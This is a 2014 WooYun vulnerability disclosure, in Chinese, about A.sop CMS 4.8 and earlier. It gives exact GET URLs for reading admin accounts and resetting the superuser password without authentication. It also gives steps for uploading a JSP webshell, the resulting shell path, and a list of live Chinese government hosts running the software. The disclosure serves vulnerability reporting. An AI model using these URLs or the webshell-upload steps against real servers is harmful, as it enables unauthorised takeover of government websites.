漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-050816
漏洞标题：A.sop CMS4.8及以下版本存在任意用户密码重置漏洞
相关厂商：北京航天四创软件公司
漏洞作者： 刺刺
提交时间：2014-02-13 14:31
修复时间：2014-05-14 14:32
公开时间：2014-05-14 14:32
漏洞类型：非授权访问/权限绕过
危害等级：中
自评Rank：8
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-02-13： 细节已通知厂商并且等待厂商处理中
2014-02-18： 厂商已经确认，细节仅向厂商公开
2014-02-21： 细节向第三方安全合作伙伴开放
2014-04-14： 细节向核心白帽子及相关领域专家公开
2014-04-24： 细节向普通白帽子公开
2014-05-04： 细节向实习白帽子公开
2014-05-14： 细节向公众公开
简要描述：
该漏洞影响的是A.sop CMS 4.8及以下版本，基本上是为http://www.wooyun.org/bugs/wooyun-2010-013964的补充；
本来这些版本的用户也没有几个了，加上版本较早，无论是兼容性还是功能性都没有什么亮点，但是还有几个相对有点分量，于是希望cncert能够协调告知。
详细说明：
a.sop CMS4.8以下版本权限控制松散，有很多功能权限的验证采用了js验证，或者是没有验证，其中影响最大的是管理用户部分：
比如：
http://cms.qingdao.gov.cn:10000/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1
可以直接查看平台超级用户的资料：
这里可以得到超级用户的用户名，变换sn=1的值，可以看到其他的管理用户信息；
这里只是个辅助；
主要的越权是直接重置用户密码；
比如：
http://cms.qingdao.gov.cn:10000/cmsweb/admin/resetUserPasswordAction.do?dn=dc=cms,cn=human,sn=1
直接get访问以上link，超级用户cmsdev的用户名就会被重置成password
（个别的可能存在js验证，你可以通过FF的noscript来验证）
继续补充一点，如何获取shell
使用重置密码的超级用户cmsdev登录，
http://cms.qingdao.gov.cn:10000/cmsweb
（由于该系统对浏览器的支持不好，建议你找一个低版本的IE，比如IE6）
点击内容管理，进入对应的栏目添加文章，
在附件上传那里直接上传jsp脚本即可
上传完成，选择编辑器底部的html查看源码，可以看到上传的jsp脚本路径
jsp脚本木马的路径就是
http://cms.qingdao.gov.cn:10000/n16858051/n16858711/n28030640.files/n28030645.jsp
访问如图：
漏洞证明：
目前能够搜到的A.sop cms大概有这些,南宁市，合肥市，科协，体育总局，青岛市等等：
http://cms.qingdao.gov.cn:10000/cmsweb
http://58.59.136.79:7001/cmsweb/
http://58.59.136.81:8000/cmsweb
http://218.21.246.6:7001/cmsweb
http://220.178.124.29:7001/cmsweb
http://210.14.113.47:7001/cmsweb/
http://220.178.124.33:7001/cmsweb
http://202.204.24.102:7001/cmsweb
http://cms.qingdao.gov.cn:10000/cmsweb
http://www.qdsn.gov.cn:7001/cmsweb
http://cms.laoshan.gov.cn:7001/cmsweb/
http://cms.sport.gov.cn/cmsweb/
验证重置科协的后台超级用户密码，password登入：
至于国家体育总局，看看用户信息可以
http://cms.sport.gov.cn/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1
重置密码和上传就不验证了。(祝愿中国健儿在本届冬奥会取得更好的成绩！)
（其实从别的系统试探过，体育总局部署有WAF的，脚本木马会被拦截的。）
修复方案：
换一款CMS产品吧。
价格便宜，功能质量好的有很多。
版权声明：转载请注明来源 刺刺@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-02-18 10:04
厂商回复：
CNVD确认并在多个实例上复现所述情况，根据测试结果，已经转由CNCERT向广西、内蒙古、安徽、山东等省份下发处置任务，同时还将继续对可能存在更高层级用户进行测试。如后续有涉及国家部委网站的情况，也请白帽子继续提供。
rank 20
最新状态：
暂无